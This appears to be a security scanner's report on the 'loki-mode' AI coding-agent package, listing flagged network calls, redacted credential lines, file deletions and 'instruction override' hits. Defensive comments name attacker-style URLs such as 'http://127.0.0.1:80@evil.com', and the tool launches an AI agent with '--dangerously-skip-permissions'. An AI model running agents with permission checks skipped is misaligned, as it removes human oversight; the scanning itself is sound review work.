var target; if (kind === "x") { target = "https" + "://twitter" + ".com/intent/tweet?text=" + - Network accessline 1431
if (kind === "x") { target = "https" + "://twitter" + ".com/intent/tweet?text=" + encodeURIComponent(shareHook()) + "&url=" + encodeURIComponent(url); - Network accessline 1432
target = "https" + "://twitter" + ".com/intent/tweet?text=" + - Network accessline 1434
} else if (kind === "linkedin") { // LinkedIn ignores prefilled text; URL only. target = "https" + "://www." + "linkedin" + ".com/sharing/share-offsite/?url=" + - Network accessline 1435
// LinkedIn ignores prefilled text; URL only. target = "https" + "://www." + "linkedin" + ".com/sharing/share-offsite/?url=" + encodeURIComponent(url); - Network accessline 1436
target = "https" + "://www." + "linkedin" + ".com/sharing/share-offsite/?url=" +
autonomy/lib/proof-verify.py
autonomy/lib/proof_redact.py
- Executable scriptline 1
Executable file - Access to secretsline 22
[Credential-related source omitted] - Access to secretsline 134
[Credential-related source omitted] - Access to secretsline 154
[Credential-related source omitted] - Access to secretsline 155
[Credential-related source omitted] - Access to secretsline 156
[Credential-related source omitted] - Network accessline 190
[Credential-related source omitted] - Network accessline 191
[Credential-related source omitted] - Network accessline 192
[Credential-related source omitted] - Network accessline 193
[Credential-related source omitted]
autonomy/lib/requirements_contract.py
- Executable scriptline 1
#!/usr/bin/env python3 - Network accessline 150
def _schema(spec_sha256: str, ids: list[str], count: int) -> dict[str, object]: return { "$schema": "http://json-schema.org/draft-07/schema#", - Network accessline 151
return { "$schema": "http://json-schema.org/draft-07/schema#", "type": "object", - Network accessline 152
"$schema": "http://json-schema.org/draft-07/schema#",
autonomy/lib/review_risk.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/run-summary.sh
autonomy/lib/scaffold-hook.sh
- Executable scriptline 1
#!/usr/bin/env bash
autonomy/lib/sdk-mode.sh
autonomy/lib/secret-paths.json
autonomy/lib/secret-scan.sh
autonomy/lib/secure-scan.py
autonomy/lib/sentrux-gate.sh
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 5
# Loki's existing 8 quality gates and 3-reviewer council catch correctness # and behavioral regressions, but no current gate emits a deterministic, # per-iteration architecture-drift signal. sentrux (https://github.com/sentrux/sentrux - Network accessline 6
# and behavioral regressions, but no current gate emits a deterministic, # per-iteration architecture-drift signal. sentrux (https://github.com/sentrux/sentrux) # is a Rust CLI that scores codebase structure (modularity, acyclicity, - Network accessline 7
# per-iteration architecture-drift signal. sentrux (https://github.com/sentrux/sentrux)
autonomy/lib/setup-requirements.json
- Access to secretsline 8
[Credential-related source omitted] - Network accessline 9
], "requirements": [ { "id": "node", "path": "common", "level": "required", "kind": "command", "target": "node", "min": "20.0", "label": "Node.js 20 or newer", "fix": "install Node 20+ from https://nodejs.org" }, - Network accessline 10
"requirements": [ { "id": "node", "path": "common", "level": "required", "kind": "command", "target": "node", "min": "20.0", "label": "Node.js 20 or newer", "fix": "install Node 20+ from https://nodejs.org" }, { "id": "python3", "pa - Network accessline 11
{ "id": "node", "path": "common", "level": "required", "kind": "command", "target": "node", "min": "20.0", "label": "Node.js 20 or newer", "fix": "install Node 20+ from https://nodejs.org" }, - Network accessline 13
{ "id": "jq", "path": "common", "level": "optional", "kind": "command", "target": "jq", "label": "jq (loki status and the bash fallback CLI; loki \"<goal>\" runs without it)", "fix": "install jq with your package manager (brew install jq)" - Network accessline 14
{ "id": "git", "path": "common", "level": "required", "kind": "command", "target": "git", "label": "git", "fix": "install git with your package manager (brew install git)" }, { "id": "curl", "path": "common", "level": "required", "kind" - Network accessline 15
{ "id": "curl", "path": "common", "level": "required", "kind": "command", "target": "curl", "label": "curl", "fix": "install curl with your package manager (brew install curl)" }, - Network accessline 17
{ "id": "bun", "path": "common", "level": "optional", "kind": "command", "target": "bun", "min": "1.3", "label": "Bun 1.3 or newer (bundled by npm install)", "fix": "reinstall without --no-optional (npm bundles @oven/bun-*) or install from - Network accessline 21
[Credential-related source omitted] - Access to secretsline 21
[Credential-related source omitted] - Network accessline 23
{ "id": "sdk-bun", "path": "api-key-sdk", "level": "required", "kind": "command", "target": "bun", "min": "1.3", "label": "Bun runtime (the SDK loop runs only on the Bun route)", "fix": "reinstall without --no-optional (npm bundles @oven/bu
autonomy/lib/silence_report.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/skill-link-heal.sh
autonomy/lib/spec-expand.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 63
[Credential-related source omitted] - Access to secretsline 64
[Credential-related source omitted] - Dangerous shell operationline 197
mv -f "$tmp" "$dest" 2>/dev/null || { rm -f "$tmp" 2>/dev/null; echo ""; return 0; } - Dangerous shell operationline 205
rm -f "$tmp" 2>/dev/null
autonomy/lib/tree_digest.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/trust_metrics.py
autonomy/lib/trust_trajectory.py
autonomy/lib/verdict.py
autonomy/lib/voter-agents.sh
- Executable scriptline 1
#!/usr/bin/env bash - Access to secretsline 102
[Credential-related source omitted] - Access to secretsline 103
[Credential-related source omitted] - Access to secretsline 104
[Credential-related source omitted] - Access to secretsline 105
[Credential-related source omitted] - Access to secretsline 178
[Credential-related source omitted] - Instruction override signalline 221
# --json-schema in `claude --help`. Either missing -> return 1 (fallback). # 2. Build the agents JSON via loki_voter_agents_json. # 3. Invoke `claude --dangerously-skip-permissions -p <prompt> - Instruction override signalline 222
# 2. Build the agents JSON via loki_voter_agents_json. # 3. Invoke `claude --dangerously-skip-permissions -p <prompt> # --agents <json> --json-schema <inline-content>` and capture stdout. - Instruction override signalline 223
# 3. Invoke `claude --dangerously-skip-permissions -p <prompt> - Dangerous shell operationline 344
rm -f "$_va_pf" 2>/dev/null || true - Instruction override signalline 388
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Access to secretsline 463
[Credential-related source omitted] - Access to secretsline 471
[Credential-related source omitted] - Access to secretsline 472
[Credential-related source omitted] - Access to secretsline 473
[Credential-related source omitted] - Access to secretsline 489
[Credential-related source omitted]
autonomy/lib/wiki-ask.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/wiki-generator.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/wiki_index.py
- Executable scriptline 1
Executable file
autonomy/lib/wiki_llm.py
autonomy/lib/workspace.py
- Executable scriptline 1
#!/usr/bin/env python3 - Access to secretsline 77
[Credential-related source omitted] - Network accessline 138
if not os.path.isdir(os.path.join(dest, ".git")): os.makedirs(os.path.dirname(dest), exist_ok=True) r = subprocess.run(["git", "clone", "https://github.com/%s.git" % entry["repo"], dest], - Network accessline 139
os.makedirs(os.path.dirname(dest), exist_ok=True) r = subprocess.run(["git", "clone", "https://github.com/%s.git" % entry["repo"], dest], capture_output=True, text=True) - Network accessline 140
r = subprocess.run(["git", "clone", "https://github.com/%s.git" % entry["repo"], dest], - Access to secretsline 194
[Credential-related source omitted] - Access to secretsline 229
[Credential-related source omitted] - Access to secretsline 281
[Credential-related source omitted] - Access to secretsline 282
[Credential-related source omitted] - Access to secretsline 288
[Credential-related source omitted] - Access to secretsline 293
[Credential-related source omitted] - Access to secretsline 468
[Credential-related source omitted] - Access to secretsline 470
[Credential-related source omitted]
autonomy/lib/workspace_comment.py
autonomy/lib/workspace_diff.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/workspace_metrics.py
- Executable scriptline 1
#!/usr/bin/env python3
autonomy/lib/worktree_prep.py
autonomy/loki
- Executable scriptline 1
#!/usr/bin/env bash - Network accessline 34
# v7.4.5 (BUG-15 bash route): honor NO_COLOR convention (https://no-color.org/) - Instruction override signalline 142
# P12-26b: permission flags for the migrate/doc/heal claude launches. Lazily sources # claude-flags.sh (like the caveman wrapper above) and fills _LOKI_PERM_ARGV; unset # LOKI_PERMISSION_POLICY=legacy keeps --dangerously-skip-permissions by - Instruction override signalline 144
# LOKI_PERMISSION_POLICY=legacy keeps --dangerously-skip-permissions byte-identically. - Instruction override signalline 155
)" || _LOKI_CLAUDE_SHELL="" [ -n "$_LOKI_CLAUDE_SHELL" ] || _LOKI_CLAUDE_SHELL="${SHELL-}" _LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Instruction override signalline 157
_LOKI_PERM_ARGV=(--dangerously-skip-permissions) - Dangerous shell operationline 328
# then degrade to a plain exec (the cwd+sentinel agent sweep is the backstop). - Network accessline 430
*) return 0 ;; esac printf '[](%s)\n' \ - Network accessline 431
esac printf '[](%s)\n' \ "$message" "${message// /%20}" "$color" "$url" - Network accessline 432
printf '[](%s)\n' \ - Network accessline 467
# _loki_latest_published_version: print the latest published version (fresh # cache first, else one short registry fetch that refreshes the cache), or # nothing when offline. Optional $1 = curl timeout seconds (default 3). - Network accessline 468
# cache first, else one short registry fetch that refreshes the cache), or # nothing when offline. Optional $1 = curl timeout seconds (default 3). # Never fabricates, always returns 0. - Network accessline 469
# nothing when offline. Optional $1 = curl timeout seconds (default 3). - Network accessline 485
latest="" fi if command -v curl >/dev/null 2>&1; then - Network accessline 486
fi if command -v curl >/dev/null 2>&1; then latest=$(curl -fsS --max-time "$timeout" "https://registry.npmjs.org/loki-mode/latest" 2>/dev/null \ - Network accessline 487
if command -v curl >/dev/null 2>&1; then - Network accessline 488
latest=$(curl -fsS --max-time "$timeout" "https://registry.npmjs.org/loki-mode/latest" 2>/dev/null \ - Dangerous shell operationline 549
# one run's `rm -rf` would delete the tree another is importing from. Lock - Dangerous shell operationline 567
# Do NOT fall through into the rm -rf unlocked -- that is the exact - Dangerous shell operationline 570
echo " Retry, or remove a stale lock: rm -rf ${dashboard_venv}.lockdir" - Dangerous shell operationline 582
rm -rf "$dashboard_venv" - Dangerous shell operationline 588
echo " sudo apt install python3-venv (Debian/Ubuntu)" - Dangerous shell operationline 626
echo " rm -rf ${dashboard_venv}" - Network accessline 653
# The bearer token is read from LOKI_REMOTE_TOKEN or LOKI_REMOTE_TOKEN_FILE and # is NEVER placed in argv (the process list is world-readable) and never logged. # It reaches curl through `--config -` on stdin. - Network accessline 655
# It reaches curl through `--config -` on stdin. - Network accessline 657
# Extract the host from a URL: strip scheme, userinfo, then cut at the first # '/', ':' or '?'. Compared EXACTLY, never by prefix -- "http://localhost*" - Network accessline 658
# '/', ':' or '?'. Compared EXACTLY, never by prefix -- "http://localhost*" - Network accessline 659
# would happily accept http://localhost.evil.com and leak a bearer token. - Access to secretsline 683
[Credential-related source omitted] - Access to secretsline 684
[Credential-related source omitted] - Network accessline 695
# curl with the Authorization header fed on stdin via --config, so the token - Network accessline 698
[Credential-related source omitted] - Network accessline 699
[Credential-related source omitted] - Network accessline 700
| curl --config - "$@" - Network accessline 718
case "$url" in http://*) - Network accessline 719
http://*) - Network accessline 720
if ! loki_remote_is_local_host "$url" && [ "${LOKI_REMOTE_INSECURE:-}" != "1" ]; then echo -e "${RED}loki: refusing to send a bearer token over plaintext http to $(loki_remote_host "$url")${NC}" >&2 echo " U - Network accessline 721
echo -e "${RED}loki: refusing to send a bearer token over plaintext http to $(loki_remote_host "$url")${NC}" >&2 echo " Use https://, or set LOKI_REMOTE_INSECURE=1 to override." >&2 return 1 - Network accessline 722
echo " Use https://, or set LOKI_REMOTE_INSECURE=1 to override." >&2 - Network accessline 737
local body resp body="$(jq -nc --arg s "$spec" '{spec:$s}')" - Network accessline 738
body="$(jq -nc --arg s "$spec" '{spec:$s}')" - Dangerous shell operationline 902
python3 -E - "$pj" "$d" <<'PY' 2>/dev/null || { rm -rf "$d"; return 0; } - Dangerous shell operationline 920
rm -rf "$d" - Network accessline 953
# The host is bounded exactly (up to the first "/", then stripped of any # port) rather than matched with a trailing glob, and a userinfo "@" is # rejected outright -- "http://127.0.0.1:80@evil.com" is host evil.com to - Network accessline 954
# port) rather than matched with a trailing glob, and a userinfo "@" is # rejected outright -- "http://127.0.0.1:80@evil.com" is host evil.com to # any real URL parser (userinfo before the @, host after), and a loose - Network accessline 955
# rejected outright -- "http://127.0.0.1:80@evil.com" is host evil.com to - Network accessline 957
# `http://127.0.0.1:*` glob would wrongly wave that straight through. - Network accessline 958
case "$url" in https://*|file://*) ;; - Network accessline 959
https://*|file://*) ;; - Network accessline 960
http://*) - Network accessline 961
_jh="${url#http://}"; _jh="${_jh%%/*}" - Network accessline 1013
sys.exit(1) try: with urllib.request.urlopen( - Network accessline 1014
try: with urllib.request.urlopen( sys.argv[2].rstrip("/") + "/.well-known/jwks.json", timeout=10) as r: - Network accessline 1015
with urllib.request.urlopen( - Network accessline 1108
case "$src" in https://*|http://*|file://*) - Network accessline 1109
https://*|http://*|file://*) - Network accessline 1110
case "$src" in https://*|file://*) ;; http://*) - Network accessline 1111
https://*|file://*) ;; - Network accessline 1112
http://*) - Network accessline 1113
_jh="${src#http://}"; _jh="${_jh%%/*}" - Network accessline 1171
if src.startswith(("http://", "https://")): - Network accessline 1172
url = src if src.rstrip("/").endswith("jwks.json") else \ src.rstrip("/") + "/.well-known/jwks.json" with urllib.request.urlopen(url, timeout=10) as r: - Network accessline 1173
src.rstrip("/") + "/.well-known/jwks.json" with urllib.request.urlopen(url, timeout=10) as r: jwks = json.loads(r.read()) - Network accessline 1174
with urllib.request.urlopen(url, timeout=10) as r: - Access to secretsline 1393
[Credential-related source omitted] - Network accessline 1562
else echo "loki report kpis requires the Bun runtime and is not available on the bash route." >&2 echo "Remove LOKI_LEGACY_BASH=1 (or install Bun: https://bun.sh) to use 'loki report kpis'." >&2 - Network accessline 1563
echo "loki report kpis requires the Bun runtime and is not available on the bash route." >&2 echo "Remove LOKI_LEGACY_BASH=1 (or install Bun: https://bun.sh) to use 'loki report kpis'." >&2 fi - Network accessline 1564
echo "Remove LOKI_LEGACY_BASH=1 (or install Bun: https://bun.sh) to use 'loki report kpis'." >&2 - Access to secretsline 1667
[Credential-related source omitted] - Access to secretsline 1668
[Credential-related source omitted] - Access to secretsline 1669
[Credential-related source omitted] - Possible obfuscationline 1675
prd_context = base64.b64decode(prd_context_b64).decode('utf-8', errors='replace') - Access to secretsline 1720
[Credential-related source omitted] - Network accessline 1796
echo -e "${BOLD}loki verify-pr${NC} - Verify a PR against its linked issue (experimental, LOKI_VERIFY_PR=1)" echo "" echo "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]" - Network accessline 1797
echo "" echo "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]" echo " loki verify-pr respond <o/r#N> fix open review comments (one commit each, on the PR" - Network accessline 1798
echo "Usage: loki verify-pr <https://github.com/o/r/pull/N | o/r#N> [--out DIR] [--json]" - Network accessline 1853
echo " quickstart = guided first build; quick = one small task (Loki 10 engine, no PR)." echo " loki \"<task>\", loki owner/repo#N and loki quick run on the Loki 10 engine by default." echo " Docs: https://github.com/asklokesh/lo - Network accessline 1854
echo " loki \"<task>\", loki owner/repo#N and loki quick run on the Loki 10 engine by default." echo " Docs: https://github.com/asklokesh/loki-mode | Report a problem: loki crash" echo "" - Network accessline 1855
echo " Docs: https://github.com/asklokesh/loki-mode | Report a problem: loki crash" - Access to secretsline 1986
[Credential-related source omitted] - Network accessline 1990
echo "" echo " # Anthropic-PROTOCOL gateways (LiteLLM, Bedrock proxies, self-hosted):" echo " export ANTHROPIC_BASE_URL=https://your-gateway/v1 \\\\" - Network accessline 1991
echo " # Anthropic-PROTOCOL gateways (LiteLLM, Bedrock proxies, self-hosted):" echo " export ANTHROPIC_BASE_URL=https://your-gateway/v1 \\\\" echo " LOKI_MODEL_OVERRIDE=<model-id-your-gateway-serves>" - Network accessline 1992
echo " export ANTHROPIC_BASE_URL=https://your-gateway/v1 \\\\" - Network accessline 2116
import socket, sys for p in range(int(sys.argv[1]), int(sys.argv[1]) + 100): s = socket.socket() - Network accessline 2117
for p in range(int(sys.argv[1]), int(sys.argv[1]) + 100): s = socket.socket() try: - Network accessline 2118
s = socket.socket() - Network accessline 2131
# registry or a busy port: reusable only if /health reports THIS package's # version AND realpath, and GET / is 200 text/html. Any missing field, curl # error or mismatch means "not ours". Mirrors _loki_dashboard_reusable in run.sh. - Network accessline 2138
[ -n "$want" ] || return 1 want_pkg="$(cd "$SKILL_DIR" 2>/dev/null && pwd -P)" || return 1 health="$(curl -s --max-time 2 "http://127.0.0.1:${port}/health" 2>/dev/null)" || return 1 - Network accessline 2139
want_pkg="$(cd "$SKILL_DIR" 2>/dev/null && pwd -P)" || return 1 health="$(curl -s --max-time 2 "http://127.0.0.1:${port}/health" 2>/dev/null)" || return 1 case "$health" in - Network accessline 2140
health="$(curl -s --max-time 2 "http://127.0.0.1:${port}/health" 2>/dev/null)" || return 1 - Network accessline 2147
*) return 1 ;; esac probe="$(curl -s -o /dev/null -w '%{http_code} %{content_type}' --max-time 2 "http://127.0.0.1:${port}/" 2>/dev/null)" || return 1 - Network accessline 2148
esac probe="$(curl -s -o /dev/null -w '%{http_code} %{content_type}' --max-time 2 "http://127.0.0.1:${port}/" 2>/dev/null)" || return 1 case "$probe" in "200 text/html"*) return 0 ;; esac - Network accessline 2149
probe="$(curl -s -o /dev/null -w '%{http_code} %{content_type}' --max-time 2 "http://127.0.0.1:${port}/" 2>/dev/null)" || return 1 - Network accessline 2176
pid="${fields%% *}"; url="${fields#* }" kill -0 "$pid" 2>/dev/null || return 1 health=$(curl -g -s --max-time 2 "${url}/health" 2>/dev/null) || return 1 - Network accessline 2177
kill -0 "$pid" 2>/dev/null || return 1 health=$(curl -g -s --max-time 2 "${url}/health" 2>/dev/null) || return 1 case "$health" in *'"service"'*'"loki-control"'*) ;; *) return 1 ;; esac - Network accessline 2178
health=$(curl -g -s --max-time 2 "${url}/health" 2>/dev/null) || return 1 - Network accessline 2190
if [ -z "$url" ]; then if ! command -v bun >/dev/null 2>&1; then echo "loki: the Control Plane needs bun (https://bun.sh); using the classic dashboard." >&2 - Network accessline 2191
if ! command -v bun >/dev/null 2>&1; then echo "loki: the Control Plane needs bun (https://bun.sh); using the classic dashboard." >&2 return 1 - Network accessline 2192
echo "loki: the Control Plane needs bun (https://bun.sh); using the classic dashboard." >&2 - Network accessline 2244
LOKI_PROJECT_DIR="$PWD" \ LOKI_DASHBOARD_CORS="http://localhost:$port,http://127.0.0.1:$port" \ - Network accessline 2245
LOKI_DASHBOARD_CORS="http://localhost:$port,http://127.0.0.1:$port" \ - Network accessline 2249
local url="http://127.0.0.1:${port}" - Network accessline 2308
if [[ "$arg" =~ ^https://[^/]*sentry[^/]*/.*issues/[0-9]+ ]]; then - Network accessline 2478
case $i in 2) printf " %b %b%bLOKI%b\n" "$line" "$b" "$pF" "$nc" >&2 ;; - Network accessline 2479
2) printf " %b %b%bLOKI%b\n" "$line" "$b" "$pF" "$nc" >&2 ;; - Network accessline 2480
3) printf " %b %bAutonomi cockpit%b\n" "$line" "$dim" "$nc" >&2 ;; - Network accessline 2488
local p=$'\033[38;5;99m' t=$'\033[38;5;43m' printf '\n %s%s\xE2\x97\x86%s %sLOKI%s %s\xE2\x97\x8F%s %sAutonomi cockpit%s\n\n' \ "$b" "$p" "$nc" "$b" "$nc" "$t" "$nc" "$dim" "$nc" >&2 - Network accessline 2489
printf '\n %s%s\xE2\x97\x86%s %sLOKI%s %s\xE2\x97\x8F%s %sAutonomi cockpit%s\n\n' "$b" "$p" "$nc" "$b" "$nc" "$t" "$nc" "$dim" "$nc" >&2 - Network accessline 2490
"$b" "$p" "$nc" "$b" "$nc" "$t" "$nc" "$dim" "$nc" >&2 - Network accessline 2530
local spec="$1" tier="$2" prov="$3" local port="${LOKI_DASHBOARD_PORT:-57374}" local dash_url="http://127.0.0.1:${port}" - Network accessline 2531
local port="${LOKI_DASHBOARD_PORT:-57374}" local dash_url="http://127.0.0.1:${port}" local budget="${LOKI_BUDGET_LIMIT:-none}" - Network accessline 2532
local dash_url="http://127.0.0.1:${port}" - Network accessline 3058
echo " loki start --brief \"snake\" # BRIEF mode (single-word escape hatch)" echo " loki start ./prd.md # PRD mode" echo " loki start https://github.com/o/r/issues/42 # IS - Network accessline 3059
echo " loki start ./prd.md # PRD mode" echo " loki start https://github.com/o/r/issues/42 # ISSUE mode (GitHub)" echo " loki start 123 # ISSUE mode (current re - Network accessline 3060
echo " loki start https://github.com/o/r/issues/42 # ISSUE mode (GitHub)" - Network accessline 3304
shift 2 else mirofish_url="http://localhost:5001" - Network accessline 3305
else mirofish_url="http://localhost:5001" shift - Network accessline 3306
mirofish_url="http://localhost:5001" - Network accessline 3315
if [[ -n "${2:-}" ]]; then mirofish_docker_image="$2" mirofish_url="${mirofish_url:-http://localhost:5001}" - Network accessline 3316
mirofish_docker_image="$2" mirofish_url="${mirofish_url:-http://localhost:5001}" shift 2 - Network accessline 3317
mirofish_url="${mirofish_url:-http://localhost:5001}" - Network accessline 3324
--mirofish-docker=*) mirofish_docker_image="${1#*=}" mirofish_url="${mirofish_url:-http://localhost:5001}" - Network accessline 3325
mirofish_docker_image="${1#*=}" mirofish_url="${mirofish_url:-http://localhost:5001}" shift - Network accessline 3326
mirofish_url="${mirofish_url:-http://localhost:5001}" - Network accessline 3557
shift 2 else echo "loki: --remote requires a URL (e.g. --remote https://loki.example.com)" >&2 - Network accessline 3558
else echo "loki: --remote requires a URL (e.g. --remote https://loki.example.com)" >&2 exit 1 - Network accessline 3559
echo "loki: --remote requires a URL (e.g. --remote https://loki.example.com)" >&2 - Dangerous shell operationline 3704
rm -f "$LOKI_DIR/state/brief.txt" 2>/dev/null || true - Dangerous shell operationline 3810
find "$LOKI_DIR" -maxdepth 1 -name 'brief-prd-*.md' -mtime +1 -delete 2>/dev/null || true - Dangerous shell operationline 3811
find "$LOKI_DIR" -maxdepth 1 -name 'quick-prd-*.md' -mtime +1 -delete 2>/dev/null || true - Dangerous shell operationline 3867
find "$LOKI_DIR" -maxdepth 1 -name 'repo-prd-*.md' -mtime +1 -delete 2>/dev/null || true - Network accessline 4080
if [[ -z "$mirofish_url" ]] && [[ -n "${LOKI_MIROFISH_URL:-}" ]] && [[ "$mirofish_disabled" != "true" ]]; then - Dangerous shell operationline 4242
[ -n "$_co_pid" ] && rm -f "$_co_marker" 2>/dev/null || true - Dangerous shell operationline 4296
rm -f "$_start_pid_file" 2>/dev/null || true - Dangerous shell operationline 4297
rm -f "$_start_loki_dir/session.lock" 2>/dev/null || true - Dangerous shell operationline 4643
rm -f "$_stop_pgid_file" 2>/dev/null || true - Dangerous shell operationline 4660
rm -f "$pid_file" - Dangerous shell operationline 4671
rm -f "$run_pid_file" - Dangerous shell operationline 4675
rm -f "$session_dir/session.lock" 2>/dev/null - Dangerous shell operationline 4802
# --rm may auto-remove on stop; rm is best-effort (already-gone is fine). - Dangerous shell operationline 4803
docker rm "$_docker_container" >/dev/null 2>&1 || true - Dangerous shell operationline 4809
rm -f "$_docker_runstate" 2>/dev/null || true - Dangerous shell operationline 4836
rm -f "$run_pid_file" - Dangerous shell operationline 4860
rm -f "$pid_file" - Access to secretsline 4869
[Credential-related source omitted] - Access to secretsline 4890
[Credential-related source omitted] - Access to secretsline 4893
[Credential-related source omitted] - Dangerous shell operationline 4900
rm -f "$LOKI_DIR/STOP" "$LOKI_DIR/PAUSE" "$LOKI_DIR/PAUSED.md" 2>/dev/null - Access to secretsline 4918
[Credential-related source omitted] - Dangerous shell operationline 4954
rm -f "$_dash_pidf" - Dangerous shell operationline 4976
rm -f "$entry_file" - Dangerous shell operationline 5031
docker rm $_all_ids >/dev/null 2>&1 || true - Dangerous shell operationline 5247
rm -f "$entry_file" - Dangerous shell operationline 5304
rm -f "$entry_file" - Dangerous shell operationline 5309
rm -f "$entry_file" - Access to secretsline 5557
[Credential-related source omitted] - Dangerous shell operationline 5701
rm -f "$LOKI_DIR/PAUSE" - Dangerous shell operationline 5704
rm -f "$LOKI_DIR/STOP" - Access to secretsline 5756
[Credential-related source omitted] - Access to secretsline 5757
[Credential-related source omitted] - Access to secretsline 5842
[Credential-related source omitted] - Access to secretsline 5897
[Credential-related source omitted] - Access to secretsline 5910
[Credential-related source omitted] - Access to secretsline 5911
[Credential-related source omitted] - Dangerous shell operationline 5922
rm -rf "$tmp" - Network accessline 6106
return 1 fi pr_url="$(printf '%s\n' "$pr_url" | grep -Eo 'https://[^[:space:]]+' | head -1)" - Network accessline 6107
fi pr_url="$(printf '%s\n' "$pr_url" | grep -Eo 'https://[^[:space:]]+' | head -1)" if [ -z "$pr_url" ]; then - Network accessline 6108
pr_url="$(printf '%s\n' "$pr_url" | grep -Eo 'https://[^[:space:]]+' | head -1)" - Dangerous shell operationline 6121
body_path:".loki/state/pr-body.md"}' > "$tmp_state" && mv "$tmp_state" "$pr_state" || { rm -f "$tmp_state"; return 1; } - Dangerous shell operationline 6122
&& mv "$tmp_state" "$pr_state" || { rm -f "$tmp_state"; return 1; } - Access to secretsline 6369
[Credential-related source omitted] - Access to secretsline 6370
[Credential-related source omitted] - Dangerous shell operationline 6444
[Credential-related source omitted] - Access to secretsline 6444
[Credential-related source omitted] - Access to secretsline 6449
[Credential-related source omitted] - Access to secretsline 6450
[Credential-related source omitted] - Access to secretsline 6451
[Credential-related source omitted] - Access to secretsline 6460
[Credential-related source omitted] - Access to secretsline 6474
[Credential-related source omitted] - Access to secretsline 6513
[Credential-related source omitted] - Access to secretsline 6526
[Credential-related source omitted] - Dangerous shell operationline 6562
[Credential-related source omitted] - Access to secretsline 6562
[Credential-related source omitted] - Access to secretsline 6567
[Credential-related source omitted] - Access to secretsline 6568
[Credential-related source omitted] - Access to secretsline 6642
[Credential-related source omitted] - Access to secretsline 6679
[Credential-related source omitted] - Access to secretsline 6706
[Credential-related source omitted] - Access to secretsline 6730
[Credential-related source omitted] - Access to secretsline 6762
[Credential-related source omitted] - Access to secretsline 6769
[Credential-related source omitted] - Access to secretsline 6791
[Credential-related source omitted] - Access to secretsline 6830
[Credential-related source omitted] - Access to secretsline 6841
[Credential-related source omitted] - Access to secretsline 6987
[Credential-related source omitted] - Access to secretsline 6988
[Credential-related source omitted] - Access to secretsline 7017
[Credential-related source omitted] - Access to secretsline 7018
[Credential-related source omitted] - Network accessline 7033
if [ -n "$pid" ] && kill -0 "$pid" 2>/dev/null; then local port=${LOKI_DASHBOARD_PORT:-57374} echo -e "${CYAN}Dashboard:${NC} http://127.0.0.1:$port/" - Network accessline 7034
local port=${LOKI_DASHBOARD_PORT:-57374} echo -e "${CYAN}Dashboard:${NC} http://127.0.0.1:$port/" fi - Network accessline 7035
echo -e "${CYAN}Dashboard:${NC} http://127.0.0.1:$port/" - Access to secretsline 7065
[Credential-related source omitted] - Access to secretsline 7081
[Credential-related source omitted] - Access to secretsline 7179
[Credential-related source omitted] - Access to secretsline 7243
[Credential-related source omitted] - Access to secretsline 7255
[Credential-related source omitted] - Access to secretsline 7952
[Credential-related source omitted] - Access to secretsline 8217
[Credential-related source omitted] - Dangerous shell operationline 8338
rm -f "$DASHBOARD_PID_FILE" - Access to secretsline 8367
[Credential-related source omitted] - Access to secretsline 8382
[Credential-related source omitted] - Access to secretsline 8384
[Credential-related source omitted] - Network accessline 8397
# UNAUTHENTICATED /health endpoint over the ACTUAL scheme: /api/status # 401s under LOKI_ENTERPRISE_AUTH, and the scheme is https when TLS is on, # so the old hardcoded http://.../api/status probe always failed against a - Network accessline 8398
# 401s under LOKI_ENTERPRISE_AUTH, and the scheme is https when TLS is on, # so the old hardcoded http://.../api/status probe always failed against a # healthy TLS or auth-enabled server. Use a loopback-reachable host when - Network accessline 8399
# so the old hardcoded http://.../api/status probe always failed against a - Network accessline 8406
local health_ok=false while [[ $health_retries -gt 0 ]]; do if curl $health_curl_opts "${url_scheme}://${health_host}:${port}/health" >/dev/null 2>&1; then - Network accessline 8407
while [[ $health_retries -gt 0 ]]; do if curl $health_curl_opts "${url_scheme}://${health_host}:${port}/health" >/dev/null 2>&1; then health_ok=true - Network accessline 8408
if curl $health_curl_opts "${url_scheme}://${health_host}:${port}/health" >/dev/null 2>&1; then - Dangerous shell operationline 8441
rm -f "$DASHBOARD_PID_FILE" - Dangerous shell operationline 8461
rm -f "$DASHBOARD_PID_FILE" - Dangerous shell operationline 8483
rm -f "$DASHBOARD_PID_FILE" - Dangerous shell operationline 8486
rm -f "$DASHBOARD_PID_FILE" - Dangerous shell operationline 8507
rm -f "$DASHBOARD_PID_FILE" - Network accessline 8543
curl_flags="$curl_flags -k" fi if command -v curl &> /dev/null; then - Network accessline 8544
fi if command -v curl &> /dev/null; then if curl $curl_flags "$url" &> /dev/null; then - Network accessline 8545
if command -v curl &> /dev/null; then - Network accessline 8546
if curl $curl_flags "$url" &> /dev/null; then - Dangerous shell operationline 8559
rm -f "$DASHBOARD_PID_FILE" - Dangerous shell operationline 8617
rm -f "$DASHBOARD_PID_FILE" - Dangerous shell operationline 8664
rm -f "$DASHBOARD_PID_FILE" - Network accessline 8726
echo -e " Try it now: ${BOLD}loki tour${NC} (a real sample result, no provider, no key, no spend)" echo -e " Quick start: ${BOLD}loki quickstart${NC} (from your idea) or ${BOLD}loki start ./prd.md${NC} (from a spec)" echo -e " - Network accessline 8727
echo -e " Quick start: ${BOLD}loki quickstart${NC} (from your idea) or ${BOLD}loki start ./prd.md${NC} (from a spec)" echo -e " Docs: ${BOLD}https://www.autonomi.dev/docs${NC}" echo "" - Network accessline 8728
echo -e " Docs: ${BOLD}https://www.autonomi.dev/docs${NC}" - Network accessline 8872
*) if ! _deprecated_alias_should_suppress "$@"; then echo "loki web (Purple Lab) is deprecated as of v7.44.0. For local build + monitoring, use the dashboard (auto-launches at 'loki start', http://localhost:${DAS - Network accessline 8873
if ! _deprecated_alias_should_suppress "$@"; then echo "loki web (Purple Lab) is deprecated as of v7.44.0. For local build + monitoring, use the dashboard (auto-launches at 'loki start', http://localhost:${DASHBOARD_DEFAULT_ - Network accessline 8874
